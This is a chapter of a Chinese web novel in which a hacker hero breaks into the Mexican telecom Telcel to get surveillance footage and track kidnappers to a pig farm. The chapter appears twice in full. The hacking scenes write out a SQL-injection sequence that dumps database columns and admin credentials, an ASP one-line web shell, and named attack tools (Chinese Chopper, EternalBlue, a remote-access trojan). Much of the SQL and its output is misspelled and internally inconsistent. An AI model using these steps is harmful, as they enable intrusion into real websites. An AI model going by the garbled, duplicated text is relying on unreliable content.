第32章 德州電鋸殺人狂藏身養豬場，網絡黑客追兇主持正義
別人治國他養鹿，雇傭兵的小寶貝 作者：霸道至極的李德 投票推薦 加入書簽 留言反饋
王濤是網絡安全專業的畢業生。
首先想到的就是利用網絡查詢。
通過路口的監控攝像頭確定綁匪的活動軌跡。
墨西哥城警務係統采用的是telcel電信公司的數據網絡。
入侵telcel機房，內網滲透，目錄遍曆。
找到監控攝像頭數據。
王濤離開酒店。
在沒有監控的街角，買了20部telcel的預充值手機。
迴到酒店。
打開自己的筆記本電腦。
啟動vmware workstation虛擬機。
查詢到telcel官方網站。
點擊頁麵的充值鏈接。
登錄采用的是短信驗證功能。
在登錄界麵輸入’。
頁麵提示 “near ''%'''' at line 1”。
充值數據庫存在注入漏洞。
查詢數據庫的字段。
’order by 12# 顯示error: unknown column ''12'' in ''order use''
第12行沒有漏洞。
繼續測試。
’order by 11# 顯示error: unknown column ''11'' in ''order use''
第11行也沒有漏洞。
繼續測試到第9行的時候發現了漏洞。
'' order by 7 #
tile relese chaacter gere qwas
world war z gery lne horr asxz
the drk kight ries buce wyne action asxz
the amazing spider-man peter paker action asxz
the inredible hulk brce banner acton asxz
the fst ad the furious brian o''connor actin asxz
iron mn toy strk actin asxz
ma of stel clrk ket acion asxz
g.i. je: retlition cora mnder acton asxz
termnator stion jhn conor si-fi asxz
6個字段
繼續查詢可顯示的字段數。
-1'' union select 1,2,3,4,5,6,7 #
tile rse carater gere ib
2 3 5 4 lnk
2，3，4，5 為可顯示字段
爆破數據庫。
1'' unon seect 1,daabse,3,4,5,6,7 #
tile reease chaacter gnre imb
3 2 3 5 4 lik 沒有爆出數據庫
1'' unon selet 1,dtabase,3,4,5,6,7 #
ttle relse chracer gre imb
qwas 3 5 4 lik
庫名：qwas
爆破數據庫的關鍵內容。
-1'' unon selct 1,colmn_nme,3,4,5,6,7 fom infrmation_shema.colums whee tble_scema=dataase nd tale_nme=''usrs''#
tile relese chaacter gere idb
id 1 2 6 lik
login 1 2 6 lik
password 1 2 6 lik
eail 1 2 6 lik
seret 1 2 6 lik
actiatio_code 1 2 6 lik
actvated 1 2 6 lik
admin 1 2 6 lik
一共8個字段，確定 login,admin,password
查詢字段內容。
-1'' union select 1,login,password,4,admin,6,7 from qwas .users#
ttle relese charcter gere idb
b.i.m. fcf045affd0 1 lnk
qwas fe5839c735df045affd0 1 5 lnk
一共兩個。
解密。
b. i.m. telcel
qwas telcel
王濤利用注入漏洞爆破出來的管理員密碼。
賬號：awas。
密碼：telcel。
利用管理員賬號密碼登錄telcel網站。
看到介紹企業文化的文章。
編輯文章，上傳一句話木馬。
asp一句話木馬：＜%eval requst(“xxx”)%＞。
利用“中國菜刀”連接已經上傳後的一句話木馬。
可以看到充值服務器的硬盤數據。
搜索局域網找到命名為“videos”的計算機。
使用米國cia的“永恆之藍”武器庫。
溢出“videos”計算機。
上傳免殺後的“灰鴿子”。
看到了事發當天教堂附近監控拍下的畫麵。
是三輛本田rebel500（叛逆者）上麵的劫匪綁架女孩。
本田rebel500（叛逆者）售價超過2萬美元。
在人均收入3000美元的墨西哥，能承擔本田rebel500（叛逆者）價格的人數寥寥無幾。
這也提醒王濤。
選擇普通的代步工具可以降低被發現的概率。
綁匪離開憲法廣場後，沿著公路直行。
絲毫不躲避沿途攝像頭的拍攝。
遇到第一個分叉路口向右轉。
行駛了200左右的時候向左轉。
直行2公裏有一家名為“tacos los grillos”的餐廳。
一名綁匪走進餐廳拿出了一大包物品。
可以看到裏麵有2l規格的可口可樂。
摩托車對繼續行駛100米後右轉。
進入了出城告訴。
一直行駛了15公裏。
出城以後道路上沒有攝像頭了。
王濤將本田rebel500（叛逆者）的照片打印了出來。
偽造了兩張墨西哥警察的證件。
上麵的照片是經過偽裝後的王濤，彼得洛夫。
準備進行田野調查。
追查本田rebel500（叛逆者）就能找到綁匪的地址。
此時已經12點了。
早飯變成了午飯。
走到彼得洛夫的房間。
裏麵很安靜沒有聲音。
“昨天晚上太用力，彼得洛夫有可能猝死吧！”
“咚咚咚！”
王濤敲了門。
裏麵出現了腳步聲。
開門的正是彼得洛夫。
“有任務，我在樓下等你。”
王濤說完，特意向門內看了一眼。
全身雪白的女郎躺在床上美麗動人。
午餐是玉米餅和咖喱牛肉。
彼得洛夫挽著女郎的腰走出了樓梯。
女郎徑直離開了酒店。
彼得洛夫來到餐廳。
坐到王濤的對麵。
舉起手示意服務員點餐。
他點了大份牛肉壽喜鍋，檸檬生蠔和全麥麵包。
“牛肉是最好的補品。
比威爾剛更強效。”
彼得洛夫開始描述和女郎的親密互動。
“你付了多少錢？”
王濤問了一個很有用的問題。
“1000美元。”
彼得洛夫說完話，一口吞掉了一隻生蠔。
吃完午飯。
兩人乘坐王濤的dmi前往郊區。
在車上彼得洛夫分析綁匪的特點。
通過綁匪駕駛本田rebel500（叛逆者），可以側麵推論。
綁匪們有很強的的經濟能力。
綁架之後，徑直在公路上行駛。
不懼怕警察，不躲避攝像頭。
說明綁匪有很強大的社會背景。
“我們首先要做的是保護自己。”
彼得洛夫說完話。
將假胡子沾到臉上。
車停在了一家披薩店的門前。
兩名經過偽裝後的警察走進了店內。
王濤拿出警察證件。
彼得洛佛將綁匪的照片交給店員辨認。
“我認識他們。
上午的時候他們騎著一樣的摩托車過來購買了比薩。”
店員說道。
“他們買了什麽東西？”
王濤繼續問道。
“3盒12寸的牛肉披薩。
15瓶2l容量的可樂，雪碧。”
店員詳細描述綁匪購買的物品信息。
“北極星”二人組按照店員指示的方向繼續追尋。
12寸比薩可以供3個人吃。
綁匪至少有9個人。
王濤，彼得洛夫分析對方的人數。
兩人隻帶hk45c手槍。
火力上沒有優勢。
隻能進行偵查。
前麵的道路兩旁都是灌木。
沒有人家可以進行詢問。
在經過一個路口時。
彼得洛夫要求停車。
兩人走到樓口。
看到了地上清晰的摩托車痕跡。
確定綁匪的方向了。
坐上dmi繼續追擊。
行駛了2.6公裏。
摩托車輪胎的痕跡，進入了一家養豬場。
王濤對這個畫麵很熟悉。
《德州電鋸殺人》裏麵就是用豬吃到被害人的屍體。
比亞迪dmi沒有停留。
直接向前開出了1公裏的距離。
停車後，兩人拿出hk45c手槍。
翻過豬場的圍欄。
小心地靠近豬舍。
豬場臭氣熏人。
他們看到了參與綁架的3輛摩托車停在正門位置。
在車上的時候，兩人已經確認。
隻需拍下女孩的照片就能完成任務。
“砰！”
“哈哈！！”
兩人聽到槍聲露出了驚恐表情。
首先想到的就是利用網絡查詢。
通過路口的監控攝像頭確定綁匪的活動軌跡。
墨西哥城警務係統采用的是telcel電信公司的數據網絡。
入侵telcel機房，內網滲透，目錄遍曆。
找到監控攝像頭數據。
王濤離開酒店。
在沒有監控的街角，買了20部telcel的預充值手機。
迴到酒店。
打開自己的筆記本電腦。
啟動vmware workstation虛擬機。
查詢到telcel官方網站。
點擊頁麵的充值鏈接。
登錄采用的是短信驗證功能。
在登錄界麵輸入’。
頁麵提示 “near ''%'''' at line 1”。
充值數據庫存在注入漏洞。
查詢數據庫的字段。
’order by 12# 顯示error: unknown column ''12'' in ''order use''
第12行沒有漏洞。
繼續測試。
’order by 11# 顯示error: unknown column ''11'' in ''order use''
第11行也沒有漏洞。
繼續測試到第9行的時候發現了漏洞。
'' order by 7 #
tile relese chaacter gere qwas
world war z gery lne horr asxz
the drk kight ries buce wyne action asxz
the amazing spider-man peter paker action asxz
the inredible hulk brce banner acton asxz
the fst ad the furious brian o''connor actin asxz
iron mn toy strk actin asxz
ma of stel clrk ket acion asxz
g.i. je: retlition cora mnder acton asxz
termnator stion jhn conor si-fi asxz
6個字段
繼續查詢可顯示的字段數。
-1'' union select 1,2,3,4,5,6,7 #
tile rse carater gere ib
2 3 5 4 lnk
2，3，4，5 為可顯示字段
爆破數據庫。
1'' unon seect 1,daabse,3,4,5,6,7 #
tile reease chaacter gnre imb
3 2 3 5 4 lik 沒有爆出數據庫
1'' unon selet 1,dtabase,3,4,5,6,7 #
ttle relse chracer gre imb
qwas 3 5 4 lik
庫名：qwas
爆破數據庫的關鍵內容。
-1'' unon selct 1,colmn_nme,3,4,5,6,7 fom infrmation_shema.colums whee tble_scema=dataase nd tale_nme=''usrs''#
tile relese chaacter gere idb
id 1 2 6 lik
login 1 2 6 lik
password 1 2 6 lik
eail 1 2 6 lik
seret 1 2 6 lik
actiatio_code 1 2 6 lik
actvated 1 2 6 lik
admin 1 2 6 lik
一共8個字段，確定 login,admin,password
查詢字段內容。
-1'' union select 1,login,password,4,admin,6,7 from qwas .users#
ttle relese charcter gere idb
b.i.m. fcf045affd0 1 lnk
qwas fe5839c735df045affd0 1 5 lnk
一共兩個。
解密。
b. i.m. telcel
qwas telcel
王濤利用注入漏洞爆破出來的管理員密碼。
賬號：awas。
密碼：telcel。
利用管理員賬號密碼登錄telcel網站。
看到介紹企業文化的文章。
編輯文章，上傳一句話木馬。
asp一句話木馬：＜%eval requst(“xxx”)%＞。
利用“中國菜刀”連接已經上傳後的一句話木馬。
可以看到充值服務器的硬盤數據。
搜索局域網找到命名為“videos”的計算機。
使用米國cia的“永恆之藍”武器庫。
溢出“videos”計算機。
上傳免殺後的“灰鴿子”。
看到了事發當天教堂附近監控拍下的畫麵。
是三輛本田rebel500（叛逆者）上麵的劫匪綁架女孩。
本田rebel500（叛逆者）售價超過2萬美元。
在人均收入3000美元的墨西哥，能承擔本田rebel500（叛逆者）價格的人數寥寥無幾。
這也提醒王濤。
選擇普通的代步工具可以降低被發現的概率。
綁匪離開憲法廣場後，沿著公路直行。
絲毫不躲避沿途攝像頭的拍攝。
遇到第一個分叉路口向右轉。
行駛了200左右的時候向左轉。
直行2公裏有一家名為“tacos los grillos”的餐廳。
一名綁匪走進餐廳拿出了一大包物品。
可以看到裏麵有2l規格的可口可樂。
摩托車對繼續行駛100米後右轉。
進入了出城告訴。
一直行駛了15公裏。
出城以後道路上沒有攝像頭了。
王濤將本田rebel500（叛逆者）的照片打印了出來。
偽造了兩張墨西哥警察的證件。
上麵的照片是經過偽裝後的王濤，彼得洛夫。
準備進行田野調查。
追查本田rebel500（叛逆者）就能找到綁匪的地址。
此時已經12點了。
早飯變成了午飯。
走到彼得洛夫的房間。
裏麵很安靜沒有聲音。
“昨天晚上太用力，彼得洛夫有可能猝死吧！”
“咚咚咚！”
王濤敲了門。
裏麵出現了腳步聲。
開門的正是彼得洛夫。
“有任務，我在樓下等你。”
王濤說完，特意向門內看了一眼。
全身雪白的女郎躺在床上美麗動人。
午餐是玉米餅和咖喱牛肉。
彼得洛夫挽著女郎的腰走出了樓梯。
女郎徑直離開了酒店。
彼得洛夫來到餐廳。
坐到王濤的對麵。
舉起手示意服務員點餐。
他點了大份牛肉壽喜鍋，檸檬生蠔和全麥麵包。
“牛肉是最好的補品。
比威爾剛更強效。”
彼得洛夫開始描述和女郎的親密互動。
“你付了多少錢？”
王濤問了一個很有用的問題。
“1000美元。”
彼得洛夫說完話，一口吞掉了一隻生蠔。
吃完午飯。
兩人乘坐王濤的dmi前往郊區。
在車上彼得洛夫分析綁匪的特點。
通過綁匪駕駛本田rebel500（叛逆者），可以側麵推論。
綁匪們有很強的的經濟能力。
綁架之後，徑直在公路上行駛。
不懼怕警察，不躲避攝像頭。
說明綁匪有很強大的社會背景。
“我們首先要做的是保護自己。”
彼得洛夫說完話。
將假胡子沾到臉上。
車停在了一家披薩店的門前。
兩名經過偽裝後的警察走進了店內。
王濤拿出警察證件。
彼得洛佛將綁匪的照片交給店員辨認。
“我認識他們。
上午的時候他們騎著一樣的摩托車過來購買了比薩。”
店員說道。
“他們買了什麽東西？”
王濤繼續問道。
“3盒12寸的牛肉披薩。
15瓶2l容量的可樂，雪碧。”
店員詳細描述綁匪購買的物品信息。
“北極星”二人組按照店員指示的方向繼續追尋。
12寸比薩可以供3個人吃。
綁匪至少有9個人。
王濤，彼得洛夫分析對方的人數。
兩人隻帶hk45c手槍。
火力上沒有優勢。
隻能進行偵查。
前麵的道路兩旁都是灌木。
沒有人家可以進行詢問。
在經過一個路口時。
彼得洛夫要求停車。
兩人走到樓口。
看到了地上清晰的摩托車痕跡。
確定綁匪的方向了。
坐上dmi繼續追擊。
行駛了2.6公裏。
摩托車輪胎的痕跡，進入了一家養豬場。
王濤對這個畫麵很熟悉。
《德州電鋸殺人》裏麵就是用豬吃到被害人的屍體。
比亞迪dmi沒有停留。
直接向前開出了1公裏的距離。
停車後，兩人拿出hk45c手槍。
翻過豬場的圍欄。
小心地靠近豬舍。
豬場臭氣熏人。
他們看到了參與綁架的3輛摩托車停在正門位置。
在車上的時候，兩人已經確認。
隻需拍下女孩的照片就能完成任務。
“砰！”
“哈哈！！”
兩人聽到槍聲露出了驚恐表情。